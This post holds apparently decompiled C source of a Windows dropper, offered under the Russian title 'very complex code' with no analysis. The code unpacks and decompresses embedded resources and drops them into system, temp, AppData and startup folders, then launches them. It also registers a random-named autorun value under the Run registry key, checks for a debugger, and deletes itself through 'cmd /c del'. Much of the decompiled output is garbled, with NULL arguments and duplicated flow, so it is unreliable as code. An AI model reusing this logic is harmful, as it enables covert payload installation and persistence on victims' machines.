ОЧень сложный код

#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <windows.h>
struct tagPOINT {
    int32_t e0;
    int32_t e1;
};
 
struct tagMSG {
    char * e0;
    int32_t e1;
    int32_t e2;
    int32_t e3;
    int32_t e4;
    struct tagPOINT e5;
};
 
struct tagWNDCLASSEXA {
    int32_t e0;
    int32_t e1;
    int32_t (**e2)(char *, int32_t, int32_t, int32_t);
    int32_t e3;
    int32_t e4;
    char * e5;
    char * e6;
    char * e7;
    char * e8;
    char * e9;
    char * e10;
    char * e11;
};
 
// ------------------- Function Prototypes --------------------
 
char * entry_point(void);
void function_401000(int32_t a1);
int32_t function_4010fb(char * hWnd, int32_t Msg, int32_t wParam, int32_t lParam);
char * function_401157(void);
int32_t function_40119d(void);
int32_t function_4011af(void);
void function_4011c4(void);
char * function_4011cf(void);
int32_t function_4012d9(char * a1, int32_t a2, int32_t a3);
int32_t function_4012f7(char * lpString);
int32_t function_40135a(void);
char * function_4018a3(void);
char * function_401907(void);
int32_t function_401a90(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t function_401abe(void);
int32_t function_401b16(void);
void function_401b1e(void);
int32_t unknown_40207c(void);
 
// --------------------- Global Variables ---------------------
 
int32_t g1 = 0; // eax
int32_t g2 = 0; // ebp
int32_t g3 = 0; // ebx
int32_t g4 = 0; // ecx
int32_t g5 = 0; // edi
int32_t g6 = -0x7f97ff96; // 0x401692
int32_t g7 = 0x68f875ff; // 0x4017e0
int32_t g8 = 0x680000c6; // 0x40183d
int32_t g9 = 0x3c7c35ff; // 0x401866
int32_t g10 = 0x3d830eeb; // 0x40188c
int32_t g11 = -0x7217ff96; // 0x40189c
int32_t g12 = 0; // 0x40300b
struct tagWNDCLASSEXA * g13 = NULL; // 0x40300f
int32_t g14 = 0; // 0x403013
int32_t g15 = 0; // 0x40324d
int32_t g16 = 0; // 0x40334d
char * g17; // 0x403450
int32_t g18 = 0; // 0x403660
int32_t g19 = 0; // 0x403860
char * g20; // 0x403a60
int32_t g21 = 0; // 0x403c60
int32_t g22 = 0; // 0x403c70
char * g23; // 0x403c74
int32_t g24 = 0; // 0x403c78
char * g25; // 0x403c7c
int32_t g26 = 0; // 0x403c80
char * g27; // 0x403c84
char * g28; // 0x404c84
int32_t g29 = 0; // 0x405c84
int32_t g30 = 0; // 0x406c84
char * g31; // 0x407c84
int32_t g32 = 0; // 0x408c84
int32_t g33 = 0; // 0x409c84
int32_t g34 = 0; // 0x40ac84
char * g35; // 0x40bc84
char * g36; // 0x40dc84
int32_t g37 = 0; // 0x40fc84
char * g38; // 0x410184
int32_t g39 = 0; // 0x410684
char * g40; // 0x410688
int32_t g41 = 0; // 0x41068c
char * g42; // 0x410690
char * g43; // 0x410694
int32_t g44 = 0; // 0x410698
int32_t g45 = 0; // 0x41069c
int32_t g46 = 0; // 0x4106a0
int32_t g47 = 0; // 0x4106a4
int32_t g48 = 0; // 0x4106a8
char * g49; // 0x4106ac
int32_t g50 = 0; // 0x4106b0
char * g51; // 0x4106b4
int32_t g52 = 0; // 0x4106b8
int32_t g53 = 0; // 0x4106bc
int32_t g54 = 0; // 0x4106c0
int32_t (*g55)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106c4
int32_t (*g56)(int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106c8
int32_t g57 = 0; // 0x4106cc
int32_t (*g58)(int32_t) = NULL; // 0x4106d0
int32_t (*g59)(int32_t) = NULL; // 0x4106d4
int32_t g60 = 0; // 0x4106d8
int32_t (*g61)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106dc
int32_t (*g62)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106e0
int32_t (*g63)(int32_t) = NULL; // 0x4106e4
int32_t g64 = 0; // 0x4106e8
int32_t (*g65)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x4106ec
 
// ------------------------ Functions -------------------------
 
// Address range: 0x401000 - 0x4010fa
void function_401000(int32_t a1) {
    int32_t lpwcx = 48; // bp-52
    char * hInstance = (char *)a1;
    LoadIconA(hInstance, (char *)500);
    LoadCursorA(NULL, (char *)0x7f00);
    RegisterClassExA((struct tagWNDCLASSEXA *)&lpwcx);
    char * windowHandle = CreateWindowExA(0, "WinClass32", "WinClass32", 0xcf0000, 200, 200, 200, 200, NULL, NULL, hInstance, NULL); // 0x4010aa
    g13 = (struct tagWNDCLASSEXA *)windowHandle;
    ShowWindow(windowHandle, 1);
    UpdateWindow((char *)g13);
    int32_t lpMsg;
    if (!GetMessageA((struct tagMSG *)&lpMsg, NULL, 0, 0)) {
        // 0x4010f4
        return;
    }
    TranslateMessage((struct tagMSG *)&lpMsg);
    DispatchMessageA((struct tagMSG *)&lpMsg);
    while (GetMessageA((struct tagMSG *)&lpMsg, NULL, 0, 0)) {
        // 0x4010e0
        TranslateMessage((struct tagMSG *)&lpMsg);
        DispatchMessageA((struct tagMSG *)&lpMsg);
        // continue -> 0x4010e0
    }
}
 
// Address range: 0x4010fb - 0x401156
int32_t function_4010fb(char * hWnd, int32_t Msg, int32_t wParam, int32_t lParam) {
    // 0x4010fb
    switch (Msg) {
        case 0x9d99: {
            // 0x40110a
            function_40135a();
            // branch -> 0x401142
            break;
        }
        case 1: {
            // 0x401117
            function_4011cf();
            SendMessageA(hWnd, 0x9d99, 0, 0);
            // branch -> 0x401142
            break;
        }
        case 2: {
            // 0x401135
            PostQuitMessage(0);
            return 0;
        }
    }
    // 0x401142
    return DefWindowProcA(hWnd, Msg, wParam, lParam);
}
 
// Address range: 0x401157 - 0x40119c
char * function_401157(void) {
    // 0x401157
    lstrcpyA((char *)&g38, "/c del \"");
    lstrcatA((char *)&g38, (char *)&g35);
    char * result = lstrcatA((char *)&g38, "\" >> NUL"); // 0x40117f
    g1 = (int32_t)result;
    g55(0, 0, (int32_t)&g37, (int32_t)&g38, 0, 0);
    return result;
}
 
// Address range: 0x40119d - 0x4011ae
int32_t function_40119d(void) {
    int32_t result = *(int32_t *)48; // 0x40119e
    if (*(char *)(result + 2) == 0) {
        // 0x4011ae
        return result;
    }
    // 0x4011a9
    function_401b16();
    return 0;
}
 
// Address range: 0x4011af - 0x4011c3
int32_t function_4011af(void) {
    int32_t result = *(int32_t *)48; // 0x4011b0
    if (*(int32_t *)(result + 104) == 112) {
        // 0x4011c3
        return result;
    }
    // 0x4011be
    function_401b16();
    return 0;
}
 
// Address range: 0x4011c4 - 0x4011ce
void function_4011c4(void) {
    // 0x4011c4
    function_40119d();
    function_4011af();
}
 
// Address range: 0x4011cf - 0x4012d8
char * function_4011cf(void) {
    char * moduleHandle = LoadLibraryA("Shell32.dll"); // 0x4011d4
    g54 = (int32_t)moduleHandle;
    g55 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle, "ShellExecuteA");
    g56 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t))GetProcAddress((char *)g54, "SHGetSpecialFolderPathA");
    char * moduleHandle2 = LoadLibraryA("shlwapi.dll"); // 0x40120d
    g57 = (int32_t)moduleHandle2;
    g58 = (int32_t (*)(int32_t))GetProcAddress(moduleHandle2, "PathFindFileNameA");
    g59 = (int32_t (*)(int32_t))GetProcAddress((char *)g57, "PathAddBackslashA");
    char * moduleHandle3 = LoadLibraryA("advapi32.dll"); // 0x401246
    g60 = (int32_t)moduleHandle3;
    g61 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle3, "RegCreateKeyExA");
    g62 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress((char *)g60, "RegSetValueExA");
    g63 = (int32_t (*)(int32_t))GetProcAddress((char *)g60, "RegCloseKey");
    char * moduleHandle4 = LoadLibraryA("ntdll.dll"); // 0x401294
    g64 = (int32_t)moduleHandle4;
    g65 = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))GetProcAddress(moduleHandle4, "RtlDecompressBuffer");
    GetModuleFileNameA(NULL, (char *)&g35, 0x1000);
    return (char *)GetEnvironmentVariableA("ComSpec", (char *)&g37, 1280);
}
 
// Address range: 0x4012d9 - 0x4012f6
int32_t function_4012d9(char * a1, int32_t a2, int32_t a3) {
    int32_t v1 = (int32_t)a1; // 0x4012ed
    char v2;
    int32_t result = ((int32_t)v2 ^ a2) % 16 + 65; // 0x4012eb
    v2 = result;
    *(char *)v1 = v2;
    int32_t v3 = a2 - 1; // 0x4012ef
    // branch -> 0x4012e3
    while (v3 != 0) {
        // 0x4012e3
        g4 = v3;
        v1++;
        a2 = v3;
        result = ((int32_t)v2 ^ a2) % 16 + 65;
        v2 = result;
        *(char *)v1 = v2;
        v3 = a2 - 1;
        // continue -> 0x4012e3
    }
    // 0x4012f2
    int32_t v4;
    g2 = v4;
    return result;
}
 
// Address range: 0x4012f7 - 0x401359
int32_t function_4012f7(char * lpString) {
    int32_t v1;
    g2 = &v1;
    int32_t v2;
    int32_t v3 = &v2; // 0x4012fa_4
    g1 = v3;
    g61(-0x7ffffffe, (int32_t)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, 0, v3, 0);
    function_4012d9((char *)&g21, 15, -0x7ffffffe);
    int32_t result = lstrlenA(lpString) + 1; // 0x401334
    g1 = result;
    g62(v2, (int32_t)&g21, 0, 1, (int32_t)lpString, result);
    g63(v2);
    g2 = v1;
    return result;
}
 
// Address range: 0x40135a - 0x4018a2
int32_t function_40135a(void) {
    int32_t v1 = 0; // esp
    int32_t v2;
    char * v3 = (char *)v2; // bp-140
    int32_t v4;
    g2 = &v4;
    g1 = GetSystemDirectoryA((char *)&g27, 0x1000);
    g59((int32_t)&g27);
    g1 = GetWindowsDirectoryA((char *)&g28, 0x1000);
    g59((int32_t)&g28);
    g1 = GetTempPathA(0x1000, (char *)&g29);
    g59((int32_t)&g29);
    int32_t nameSize = GetModuleFileNameA(NULL, (char *)&g20, 512); // 0x4013bb
    g1 = nameSize;
    g58((int32_t)&g20);
    *(char *)nameSize = 0;
    g1 = GetEnvironmentVariableA("APPDATA", (char *)&g31, 0x1000);
    g59((int32_t)&g31);
    g56(0, (int32_t)&g32, 7, 1);
    g59((int32_t)&g32);
    g56(0, (int32_t)&g33, 16, 1);
    g59((int32_t)&g33);
    function_401907();
    if (g39 == 1) {
        // 0x401433
        function_4011c4();
        // branch -> 0x401438
    }
    // 0x401438
    function_401abe();
    g3 = (int32_t)g40;
    int32_t v5;
    int32_t v6 = &v5; // 0x401446_0
    int32_t v7 = (int32_t)&v3;
    int32_t v8;
    int32_t v9 = &v8;
    int32_t v10 = 0; // 0x401445
    // branch -> 0x401445
    int32_t v11; // 0x40189c
    int32_t v12; // 0x401887
    while (true) {
        int32_t v13 = v10 + 1; // 0x401445
        g4 = v13;
        v5 = v13;
        char * lpName = (char *)v13;
        v3 = lpName;
        char * hResInfo = FindResourceA(NULL, lpName, (char *)10); // 0x40144c
        v12 = v6;
        if (hResInfo == NULL) {
            // 0x40187e
            switch (g45) {
                case 1: {
                    // 0x401887
                    *(int32_t *)(v12 - 4) = (int32_t)&g10;
                    function_401157();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
                case 2: {
                    // 0x401897
                    *(int32_t *)(v12 - 4) = (int32_t)&g11;
                    function_4018a3();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
            }
            // 0x40189c
            v11 = v1;
            *(int32_t *)(v11 - 4) = 0;
            *(int32_t *)(v11 - 8) = 0x4018a3;
            ExitProcess(0);
            // UNREACHABLE
        }
        // 0x40145a
        g23 = hResInfo;
        v3 = NULL;
        int32_t v14 = SizeofResource(NULL, hResInfo); // 0x401462
        if (v14 == 0) {
            v12 = v6;
            // 0x40187e
            switch (g45) {
                case 1: {
                    // 0x401887
                    *(int32_t *)(v12 - 4) = (int32_t)&g10;
                    function_401157();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
                case 2: {
                    // 0x401897
                    *(int32_t *)(v12 - 4) = (int32_t)&g11;
                    function_4018a3();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
            }
            // 0x40189c
            v11 = v1;
            *(int32_t *)(v11 - 4) = 0;
            *(int32_t *)(v11 - 8) = 0x4018a3;
            ExitProcess(0);
            // UNREACHABLE
        }
        // 0x401470
        g24 = v14;
        v3 = NULL;
        char * hResData = LoadResource(NULL, g23); // 0x40147d
        if (hResData == NULL) {
            v12 = v6;
            // 0x40187e
            switch (g45) {
                case 1: {
                    // 0x401887
                    *(int32_t *)(v12 - 4) = (int32_t)&g10;
                    function_401157();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
                case 2: {
                    // 0x401897
                    *(int32_t *)(v12 - 4) = (int32_t)&g11;
                    function_4018a3();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
            }
            // 0x40189c
            v11 = v1;
            *(int32_t *)(v11 - 4) = 0;
            *(int32_t *)(v11 - 8) = 0x4018a3;
            ExitProcess(0);
            // UNREACHABLE
        }
        // 0x40148b
        g25 = hResData;
        char * v15 = LockResource(hResData); // 0x401491
        if (v15 == NULL) {
            v12 = v6;
            // 0x40187e
            switch (g45) {
                case 1: {
                    // 0x401887
                    *(int32_t *)(v12 - 4) = (int32_t)&g10;
                    function_401157();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
                case 2: {
                    // 0x401897
                    *(int32_t *)(v12 - 4) = (int32_t)&g11;
                    function_4018a3();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
            }
            // 0x40189c
            v11 = v1;
            *(int32_t *)(v11 - 4) = 0;
            *(int32_t *)(v11 - 8) = 0x4018a3;
            ExitProcess(0);
            // UNREACHABLE
        }
        // 0x40149f
        g26 = (int32_t)v15;
        v3 = (char *)64;
        char * v16 = GlobalAlloc(64, g24); // 0x4014ac
        if (v16 == NULL) {
            v12 = v6;
            // 0x40187e
            switch (g45) {
                case 1: {
                    // 0x401887
                    *(int32_t *)(v12 - 4) = (int32_t)&g10;
                    function_401157();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
                case 2: {
                    // 0x401897
                    *(int32_t *)(v12 - 4) = (int32_t)&g11;
                    function_4018a3();
                    // branch -> 0x40189c
                    // 0x40189c
                    v11 = v1;
                    *(int32_t *)(v11 - 4) = 0;
                    *(int32_t *)(v11 - 8) = 0x4018a3;
                    ExitProcess(0);
                    // UNREACHABLE
                }
            }
            // 0x40189c
            v11 = v1;
            *(int32_t *)(v11 - 4) = 0;
            *(int32_t *)(v11 - 8) = 0x4018a3;
            ExitProcess(0);
            // UNREACHABLE
        }

  // 0x4014ba
        g49 = v16;
        int32_t v17 = g26;
        uint32_t dwBytes = *(int32_t *)(v17 + 4); // 0x4014c9
        int32_t v18 = v17 + 8; // 0x4014cf
        g1 = v18;
        int32_t v19 = g24 - 8; // 0x4014d8
        g4 = v19;
        char * v20 = (char *)v18;
        v3 = v20;
        RtlMoveMemory(v16, v20, v19);
        char * v21 = g49;
        v3 = v21;
        function_401a90(v21, g24, v5, (int32_t)&g33, 0);
        char * v22 = GlobalAlloc(64, dwBytes); // 0x4014fe
        int32_t v23 = (int32_t)v22; // 0x4014fe_5
        if (v22 != NULL) {
            // 0x40150c
            int32_t v24; // 0x40159e
            if (*(int32_t *)v17 == 0) {
                // 0x401515
                RtlMoveMemory(v22, g49, dwBytes);
                v24 = v7;
                // branch -> 0x401549
            } else {
                int32_t v25 = g24 - 8; // 0x401531
                g1 = v25;
                g65(2, v23, dwBytes, (int32_t)g49, v25, v9);
                v24 = v1;
                // branch -> 0x401549
            }
            int32_t * v26 = (int32_t *)(v24 - 4); // 0x401549_1
            *v26 = (int32_t)g49;
            int32_t * v27 = (int32_t *)(v24 - 8); // 0x40154f_1
            *v27 = 0x401554;
            GlobalFree(NULL);
            int32_t v28 = g3; // 0x401554
            int32_t v29 = *(int32_t *)v28; // 0x401554
            int32_t v30 = v28 + 4; // ebx
            *v26 = v29;
            *v27 = v29;
            int32_t * v31 = (int32_t *)(v24 - 12); // 0x40155b_0
            *v31 = v30;
            *(int32_t *)(v24 - 16) = (int32_t)&g18;
            *(int32_t *)(v24 - 20) = 0x401566;
            lstrcpynA(NULL, NULL, 0);
            int32_t v32 = v30 + *v26; // 0x401567
            int32_t v33 = *(int32_t *)v32; // 0x401569
            int32_t v34 = *(int32_t *)(v32 + 4); // 0x401571
            int32_t v35 = *(int32_t *)(v32 + 8); // 0x401579
            int32_t v36 = *(int32_t *)(v32 + 16); // 0x401589
            int32_t v37 = v32 + 24; // 0x401596
            v30 = v37;
            int32_t v38 = v37; // 0x4015b4
            if (*(int32_t *)(v32 + 20) != 0) {
                // 0x40159e
                *v26 = v37;
                *v27 = (int32_t)&g16;
                *v31 = 0x4015a9;
                lstrcpyA(NULL, NULL);
                *v26 = v30;
                *v27 = 0x4015af;
                v38 = lstrlenA(NULL) + 1 + v30;
                // branch -> 0x4015b4
            }
            int32_t v39 = *(int32_t *)v38; // 0x4015b4
            int32_t v40 = v38 + 4; // 0x4015b9
            g3 = v40;
            if (v39 != 0) {
                // 0x4015c1
                *v26 = v40;
                *v27 = (int32_t)&g15;
                *v31 = 0x4015cc;
                lstrcpyA(NULL, NULL);
                *v26 = g3;
                *v27 = 0x4015d2;
                g3 += lstrlenA(NULL) + 1;
                // branch -> 0x4015d7
            }
            int32_t v41 = v33; // 0x40163f
            switch (v33) {
                case 0: {
                    // 0x4015de
                    v41 = (int32_t)&g27;
                    // branch -> 0x40163f
                    break;
                }
                case 1: {
                    // 0x4015eb
                    v41 = (int32_t)&g28;
                    // branch -> 0x40163f
                    break;
                }
                case 2: {
                    // 0x4015f8
                    v41 = &g29;
                    // branch -> 0x40163f
                    break;
                }
                case 3: {
                    // 0x401605
                    v41 = (int32_t)&g20;
                    // branch -> 0x40163f
                    break;
                }
                case 4: {
                    // 0x401612
                    v41 = (int32_t)&g31;
                    // branch -> 0x40163f
                    break;
                }
                case 5: {
                    // 0x40161f
                    v41 = &g32;
                    // branch -> 0x40163f
                    break;
                }
                case 6: {
                    // 0x40162c
                    v41 = &g33;
                    // branch -> 0x40163f
                    break;
                }
                case -1: {
                    // 0x401639
                    v41 = &g16;
                    // branch -> 0x40163f
                    break;
                }
            }
            // 0x40163f
            g51 = (char *)v41;
            *v26 = v41;
            *v27 = (int32_t)&g30;
            *v31 = 0x401654;
            g1 = (int32_t)lstrcpyA(NULL, NULL);
            *v26 = (int32_t)&g30;
            *v27 = (int32_t)"h`6@";
            ((int32_t (*)())g59)();
            int32_t * v42 = (int32_t *)(v1 - 4); // 0x40165f_0
            *v42 = (int32_t)&g18;
            int32_t * v43 = (int32_t *)(v1 - 8); // 0x401664_0
            *v43 = (int32_t)&g30;
            int32_t * v44 = (int32_t *)(v1 - 12); // 0x401669_1
            *v44 = 0x40166e;
            lstrcatA(NULL, NULL);
            if (g45 == 2) {
                int32_t * v45 = (int32_t *)v1; // 0x401677_0
                int32_t v46 = *v45; // 0x401677
                g4 = v46;
                *v45 = v46;
                if (v46 == g48) {
                    // 0x401683
                    *v42 = (int32_t)&g30;
                    *v43 = (int32_t)&g34;
                    *v44 = (int32_t)&g6;
                    lstrcpyA(NULL, NULL);
                    // branch -> 0x401692
                }
            }
            // 0x401692
            *v42 = 0;
            *v43 = 128;
            *v44 = 2;
            int32_t * v47 = (int32_t *)(v1 - 16); // 0x40169b_0
            *v47 = 0;
            int32_t * v48 = (int32_t *)(v1 - 20); // 0x40169d_0
            *v48 = 3;
            int32_t * v49 = (int32_t *)(v1 - 24); // 0x40169f_0
            *v49 = -0x40000000;
            int32_t * v50 = (int32_t *)(v1 - 28); // 0x4016a4_0
            *v50 = (int32_t)&g30;
            int32_t * v51 = (int32_t *)(v1 - 32); // 0x4016a9_1
            *v51 = 0x4016ae;
            g52 = (int32_t)CreateFileA(NULL, 0, 0, NULL, 0, 0, NULL);
            *v42 = 0;
            *v43 = (int32_t)&g53;
            *v44 = dwBytes;
            *v47 = v23;
            *v48 = g52;
            *v49 = 0x4016cb;
            WriteFile(NULL, NULL, 0, NULL, NULL);
            if (g45 == 2) {
                int32_t * v52 = (int32_t *)v1; // 0x4016d8_0
                int32_t v53 = *v52; // 0x4016d8
                g4 = v53;
                *v52 = v53;
                if (v53 == g48) {
                    // 0x4016e8
                    switch (g46) {
                        case 1: {
                            uint32_t v54 = g47; // 0x4016f1
                            g4 = dwBytes;
                            if (v54 > dwBytes) {
                                int32_t v55 = v54 - dwBytes; // 0x401701
                                *v42 = v55;
                                *v43 = 8;
                                *v44 = g22;
                                *v47 = 0x401716;
                                int32_t v56 = (int32_t)HeapAlloc(NULL, 0, 0); // 0x401711_5
                                *v42 = 0;
                                *v43 = (int32_t)&g53;
                                *v44 = v55;
                                *v47 = v56;
                                *v48 = g52;
                                *v49 = 0x401731;
                                WriteFile(NULL, NULL, 0, NULL, NULL);
                                *v42 = v56;
                                *v43 = 0;
                                *v44 = g22;
                                *v47 = 0x401741;
                                HeapFree(NULL, 0, NULL);
                                // branch -> 0x4017cd
                            }
                            break;
                        }
                        case 0: {
                            // 0x40174f
                            *v42 = 0;
                            *v43 = 128;
                            *v44 = 3;
                            *v47 = 0;
                            *v48 = 1;
                            *v49 = -0x80000000;
                            *v50 = (int32_t)&g35;
                            *v51 = 0x40176b;
                            int32_t fileHandle = (int32_t)CreateFileA(NULL, 0, 0, NULL, 0, 0, NULL); // 0x401766_9
                            *v42 = 0;
                            *v43 = fileHandle;
                            *v44 = 0x401778;
                            uint32_t v57 = GetFileSize(NULL, NULL); // 0x401773
                            *v42 = fileHandle;
                            *v43 = 0x401783;
                            CloseHandle(NULL);
                            g4 = dwBytes;
                            if (v57 > dwBytes) {
                                int32_t v58 = v57 - dwBytes; // 0x40178d
                                *v42 = v58;
                                *v43 = 8;
                                *v44 = g22;
                                *v47 = 0x4017a2;
                                int32_t v59 = (int32_t)HeapAlloc(NULL, 0, 0); // 0x40179d_5
                                *v42 = 0;
                                *v43 = (int32_t)&g53;
                                *v44 = v58;
                                *v47 = v59;
                                *v48 = g52;
                                *v49 = 0x4017bd;
                                WriteFile(NULL, NULL, 0, NULL, NULL);
                                *v42 = v59;
                                *v43 = 0;
                                *v44 = g22;
                                *v47 = 0x4017cd;
                                HeapFree(NULL, 0, NULL);
                                // branch -> 0x4017cd
                            }
                            break;
                        }
                    }
                    // 0x4017cd
                    *v42 = g52;
                    *v43 = 0x4017d8;
                    CloseHandle(NULL);
                    *v42 = v23;
                    *v43 = (int32_t)&g7;
                    GlobalFree(NULL);
                    *v42 = v34;
                    *v43 = (int32_t)&g30;
                    *v44 = 0x4017ed;
                    SetFileAttributesA(NULL, 0);
                    if (v36 == 1) {
                      lab_0x4017f3:
                        // 0x4017f3
                        *v42 = (int32_t)&g30;
                        *v43 = 0x4017fd;
                        function_4012f7(NULL);
                        // branch -> 0x4017fd
                    }
                  lab_0x4017fd:
                    // 0x4017fd
                    if (*(int32_t *)(v32 + 12) == 0) {
                      lab_0x401866_2:
                        // 0x401866
                        *(int32_t *)(v1 - 4) = (int32_t)g25;
                        *(int32_t *)(v1 - 8) = 0x401871;
                        FreeResource(NULL);
                        int32_t v60 = *(int32_t *)v1; // 0x401871
                        g4 = v60;
                        if (v60 >= g50) {
                            v12 = v1 + 4;
                            // break (via goto) -> 0x40187e
                            goto lab_0x40187e;
                        }
                        v10 = v60;
                        // continue -> 0x401445
                        continue;
                    } else {
                        // 0x401804
                        int32_t * v61; // 0x401824_0
                        int32_t * v62; // 0x401829_0
                        int32_t * v63; // 0x40182e_1
                        char * v64; // 0x401838
                        int32_t v65; // 0x401824
                        switch (v35) {
                            default: {
                                int32_t v66 = v1 - 4; // 0x40181e
                                int32_t * v67 = (int32_t *)v66; // 0x40181e_0
                                if (v35 == 3) {
                                    // 0x40181e
                                    *v67 = 3;
                                    v65 = v66;
                                    // branch -> 0x401824
                                } else {
                                    // 0x401822
                                    *v67 = 6;
                                    v65 = v66;
                                    // branch -> 0x401824
                                }
                              lab_0x401824_2:
                                // 0x401824
                                v61 = (int32_t *)(v65 - 4);
                                *v61 = (int32_t)&g30;
                                v62 = (int32_t *)(v65 - 8);
                                *v62 = (int32_t)&g19;
                                v63 = (int32_t *)(v65 - 12);
                                *v63 = (int32_t)"h`8@";
                                lstrcpyA(NULL, NULL);
                                *v61 = (int32_t)&g19;
                                *v62 = (int32_t)&g8;
                                v64 = PathFindFileNameA(NULL);
                                g1 = (int32_t)v64;
                                *v64 = 0;
                                *v61 = (int32_t)&g19;
                                *v62 = v39 == 0 ? 0 : (int32_t)&g15;
                                *v63 = (int32_t)&g30;
                                *(int32_t *)(v65 - 16) = (int32_t)"open";
                                *(int32_t *)(v65 - 20) = 0;
                                *(int32_t *)(v65 - 24) = (int32_t)&g9;
                                ((int32_t (*)())g55)();
                                // branch -> 0x401866
                                goto lab_0x401866_2;
                                break;
                            }
                            case 1: {
                                int32_t v68 = v1 - 4; // 0x40180c
                                *(int32_t *)v68 = 5;
                                v65 = v68;
                                // branch -> 0x401824
                                goto lab_0x401824_2;
                                break;
                            }
                            case 2: {
                                int32_t v69 = v1 - 4; // 0x401815
                                *(int32_t *)v69 = 0;
                                v65 = v69;
                                // branch -> 0x401824
                                goto lab_0x401824_2;
                                break;
                            }
                        }
                        // 0x401824
                        v61 = (int32_t *)(v65 - 4);
                        *v61 = (int32_t)&g30;
                        v62 = (int32_t *)(v65 - 8);
                        *v62 = (int32_t)&g19;
                        v63 = (int32_t *)(v65 - 12);
                        *v63 = (int32_t)"h`8@";
                        lstrcpyA(NULL, NULL);
                        *v61 = (int32_t)&g19;
                        *v62 = (int32_t)&g8;
                        v64 = PathFindFileNameA(NULL);
                        g1 = (int32_t)v64;
                        *v64 = 0;
                        *v61 = (int32_t)&g19;
                        int32_t v70 = v39 == 0 ? 0 : (int32_t)&g15;
                        *v62 = v70;
                        *v63 = (int32_t)&g30;
                        *(int32_t *)(v65 - 16) = (int32_t)"open";
                        *(int32_t *)(v65 - 20) = 0;
                        int32_t (*v71)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = g55;
                        *(int32_t *)(v65 - 24) = (int32_t)&g9;
                        ((int32_t (*)())v71)();
                        // branch -> 0x401866
                        goto lab_0x401866_2;
                    }
                }
            }
            // 0x4017cd
            *v42 = g52;
            *v43 = 0x4017d8;
            CloseHandle(NULL);
            *v42 = v23;
            *v43 = (int32_t)&g7;
            GlobalFree(NULL);
            *v42 = v34;
            *v43 = (int32_t)&g30;
            *v44 = 0x4017ed;
            SetFileAttributesA(NULL, 0);
            if (v36 == 1) {
                goto lab_0x4017f3;
            }
            goto lab_0x4017fd;
        } else {
            v12 = v7;
        }
        // 0x40187e
        switch (g45) {
            case 1: {
                // 0x401887
                *(int32_t *)(v12 - 4) = (int32_t)&g10;
                function_401157();
                // branch -> 0x40189c
                // 0x40189c
                v11 = v1;
                *(int32_t *)(v11 - 4) = 0;
                *(int32_t *)(v11 - 8) = 0x4018a3;
                ExitProcess(0);
                // UNREACHABLE
            }
            case 2: {
                // 0x401897
                *(int32_t *)(v12 - 4) = (int32_t)&g11;
                function_4018a3();
                // branch -> 0x40189c
                // 0x40189c
                v11 = v1;
                *(int32_t *)(v11 - 4) = 0;
                *(int32_t *)(v11 - 8) = 0x4018a3;
                ExitProcess(0);
                // UNREACHABLE
            }
        }
        // 0x40189c
        v11 = v1;
        *(int32_t *)(v11 - 4) = 0;
        *(int32_t *)(v11 - 8) = 0x4018a3;
        ExitProcess(0);
        // UNREACHABLE
    }
  lab_0x40187e:
    // 0x40187e
    switch (g45) {
        case 1: {
            // 0x401887
            *(int32_t *)(v12 - 4) = (int32_t)&g10;
            function_401157();
            // branch -> 0x40189c
            break;
        }
        case 2: {
            // 0x401897
            *(int32_t *)(v12 - 4) = (int32_t)&g11;
            function_4018a3();
            // branch -> 0x40189c
            break;
        }
    }
    // 0x40189c
    v11 = v1;
    *(int32_t *)(v11 - 4) = 0;
    *(int32_t *)(v11 - 8) = 0x4018a3;
    ExitProcess(0);
    // UNREACHABLE
}
 
